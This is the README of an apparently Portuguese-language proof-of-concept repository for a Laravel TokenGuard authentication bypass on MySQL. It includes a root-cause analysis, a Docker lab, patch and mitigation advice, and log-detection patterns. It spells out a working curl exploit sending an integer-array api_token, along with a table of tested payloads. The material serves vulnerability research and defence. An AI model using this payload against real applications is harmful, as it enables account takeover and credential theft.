
Prova de conceito, análise de causa raiz e laboratório Docker para CVE-2026-114509, um bypass de autenticação não autenticado no Laravel TokenGuard em MySQL/MariaDB que leva à tomada de conta.
Prova de conceito, análise e laboratório reproduzível para CVE-2026-114509, um bypass de
autenticação não autenticado no TokenGuard do Laravel que leva à tomada de conta quando a
aplicação é executada em MySQL ou MariaDB.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-114509 |
| Aviso | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Crítico) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Validação Imprópria do Tipo de Entrada Especificado), CWE-287 (Autenticação Imprópria) |
| Afetado | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Corrigido em | 12.68.0, 13.29.0 |
| Vetor | Corpo JSON POST/GET com api_token como um array de inteiros |
| Impacto | Bypass de autenticação, tomada de conta, divulgação de credenciais |
Um TokenGuard configurado com driver => token e hash => false aceita uma credencial
que não é string. Enviar {"api_token":[0]} como um corpo JSON faz o Laravel construir
whereIn('api_token', [0]). O MySQL então converte implicitamente a coluna varchar para um inteiro,
de modo que todo token que não começa com um dígito é avaliado como 0 e corresponde. A primeira linha
da tabela users é retornada a um atacante não autenticado.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Três camadas independentes devem estar todas presentes para a exploração.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnerável):
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Apenas empty() é verificado. empty([0]) é false porque o array contém um único elemento, então
o array passa diretamente para o provedor. Não há guarda is_string().
INsrc/Illuminate/Auth/EloquentUserProvider.php:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
Um array é interpretado como uma lista de valores candidatos, então a consulta se torna:
select * from `users` where `api_token` in (0)
api_token é uma coluna varchar. Comparar uma coluna de string com um inteiro força uma
conversão implícita do valor da coluna para um número:
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Todo token que começa com uma letra é convertido para 0, portanto where api_token in (0) corresponde.
PostgreSQL e SQLite rejeitam ou apresentam comportamento incorreto nessa comparação, razão pela qual a vulnerabilidade
é específica de bancos de dados da família MySQL.
Medida em relação ao laboratório deste repositório (Laravel 11.43.0, MySQL 8.0.46).
| Payload | Transporte | HTTP | Resultado |
|---|---|---|---|
| (nenhum) | — | 401 | rejeitado |
Bearer wrong_token | header | 401 | rejeitado |
?api_token=wrong | query string | 401 | rejeitado |
?api_token[]=0 | query string | 401 | rejeitado — sempre uma string |
{"api_token":0} | corpo JSON | 401 | rejeitado — empty(0) é true |
{"api_token":["0"]} | corpo JSON | 401 | rejeitado — string vs varchar |
{"api_token":[1]} | corpo JSON | 401 | nenhuma linha com valor convertido 1 |
{"api_token":[0.5]} | corpo JSON | 401 | incompatibilidade de conversão para float |
{"api_token":[0]} | corpo JSON | 200 | bypass |
{"api_token":[0,1]} | corpo JSON | 200 | bypass |
O payload deve chegar como um array tipado genuíno. Query strings e codificação de formulário sempre produzem strings, razão pela qual o corpo JSON é necessário.
Um laboratório Docker completo está incluído. Consulte docs/reproduction.md para
o passo a passo completo, ou execute-o diretamente:
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Adicione o hostname do laboratório a /etc/hosts:
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Em seguida, verifique:
./poc.sh http://angkasagroup.co.id
auth:apiapi_token em texto simples
quando hash => false, o que torna o comprometimento persistenteusers é um administrador, o bypass concede
privilégios administrativoscomposer require laravel/framework:^12.68
A correção é uma única verificação de tipo:
if (is_string($token) && ! empty($token)) {
'hash' => true no guard da API. O armazenamento com hash transforma o array em um TypeError
em vez de uma correspondência.TokenGuard por Laravel Sanctum ou Passport, que resolvem tokens por meio de um
índice de hash dedicado em vez de um whereIn sem restrições.api_token não seja uma string:if (! is_string(request()->input('api_token'))) {
abort(401);
}
Os logs da aplicação mostrarão a autenticação bem-sucedida sem um login anterior. Procure por
corpos de requisição JSON onde api_token é um array em vez de uma string:
"api_token":[0]
"api_token":[1]
Na camada de banco de dados, habilite o log geral de consultas e configure alertas para:
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
Este repositório existe para pesquisa defensiva, verificação de patches e testes de segurança autorizados. Execute-o apenas contra sistemas que você possui ou para os quais tem permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é uma infração criminal na maioria das jurisdições.
O laboratório vincula-se a 127.0.0.1 e destina-se apenas ao uso local.